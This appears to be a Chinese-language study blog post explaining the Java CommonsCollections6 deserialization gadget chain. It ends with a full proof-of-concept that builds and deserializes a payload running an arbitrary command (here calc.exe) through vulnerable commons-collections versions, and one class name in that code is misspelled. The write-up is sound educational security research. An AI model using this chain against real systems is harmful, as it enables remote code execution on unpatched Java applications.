Java反序列化(4) CC6 前面几篇详细分析了CommonsCuollections1
这个利用链和其中的LazyMap原理。但是我们说到,在Java 8u71
之后,这个利用链不能再利用了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了。
在ysoserial
中,CommonsCollections
可以说是commons-collections
这个库中相对比较通用的利用链,为了解决高版本Java
的利用问题,我们先来看看这个利用链。
先看看简化版利用链:
我们需要看的主要是从最开始到org.apache.commons.collections.map.LazyMap.get()
的那一部分,因为LazyMap#get
后面的部分在上一篇文章里已经说了。所以简单来说,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()
的地方 。
我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
方法中调用了this.map.get
,而其hashCode
方法调用类getValue
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import java.io.Serializable; import java.util.Map; import org.apache.commons.collections.KeyValue; public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } */ public Object getKey () { return key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
想要触发LazyMap
链,那么接下来就需要找一个可以调用TiedMapEntry#hashCode
的地方。
在ysoserial
中,是利用java.util.HashSet#ReadObject
到HashMap#put()
到HashMap#hash(key)
最后到TiedMapEntry#hashCode()
在java.util.HashSet#ReadObject
中就可以找到HashMap#hash()
的调用,去掉了最前面的两次调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class HashMap <K, V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
在HashMap
的readObject
方法中,调用到了hash(key)
,而hash
方法中,调用到了key.hashCode()
,所以只需要让这个key等于TiedMapEntry
对象,即可连接上前面的分析过程,然后构成一个完整的Gadget
Gadget 先把构造恶意LazyMap
构造出来:
1 2 3 4 5 6 7 8 9 10 11 12 Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), new ConstantTransformer (1 ), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers);Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap, transformerChain);
为了避免本地调试时触发命令执行,在构造LazyMap
的时候先用了一个人畜无害的fakeTransformers
对象,等最后要生成Payload的对象,再把真正的transformers
替换进去。
现在,就拿到了一个恶意的LazyMap
对象outerMap
,把它多为TiedMapEntry
的map
属性:
1 TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" );
接着,我们要调用TiedMapEntry#hashCode()
,需要将tme
对象作为HashMap
的一个key。注意,这里我们需要新建一个HashMap
,而不是用之前LazyMap
利用链里的那个HashMap
,两者没任何关系:
1 2 Map expMap = new HashMap ();expMap.put(tme, "valuevalue" );
最后,就将这个expMap
作为对象来序列化,但别忘了将真正的transformers
数组设置进来:
1 2 3 4 5 6 7 8 9 10 11 Field f = ChainedTransformer.class.getDeclaredField("iTransformers" );f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(expMap); oos.close();
然后我这里运行的时候还是报错了,因为这个commons-collections
的版本要求是3.2.2
以下(不包括),所以需要注意一下,在pom.xml
里改一下就好了,前面的一些报错可能也是因为这个。
修改完commons-collections
的版本,再运行
但是还是没有弹出计算机
然后单步调试一下看看问题出在哪里
主要就是在上面这框起来的部分,本应最后触发命令执行的transform()
没有触发,因为map.containsKey(key)
的结果是true,这个if语句没有进入
唯一出现keykey
的地方就是在TieddMapEntry
的构造函数里,但是TiedMapEntry
的构造函数并没有修改outerMap
:
1 2 3 4 5 6 7 Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" );Map expMap = new HashMap ();expMap.put(tme, "valuevalue" );
这个关键点就在于exoMap.put(tme,"valuecalue")
这里
因为在HashMap
的put
方法中,也有调用到hash(key)
:
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
这里就导致了LazyMap
这个利用链在这里被调用了一遍,,因为前面用了takeTransformers
,所以这里并没有触发命令注销,实际上也对构造Payload产生了影响。
那么如何解决呢,只需要将keykey
的这个key从outerMap
中移除就可以了:outerMap.remove("keykey")
然后就是P牛的完整的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), new ConstantTransformer (1 ), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" ); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); outerMap.remove("keykey" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new yteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制
win!
Java反序列化的内容就告一段落,之后应该还会有其他链的分析。接下去会继续更新自己的java安全学习笔记,主要参考《Java安全漫谈》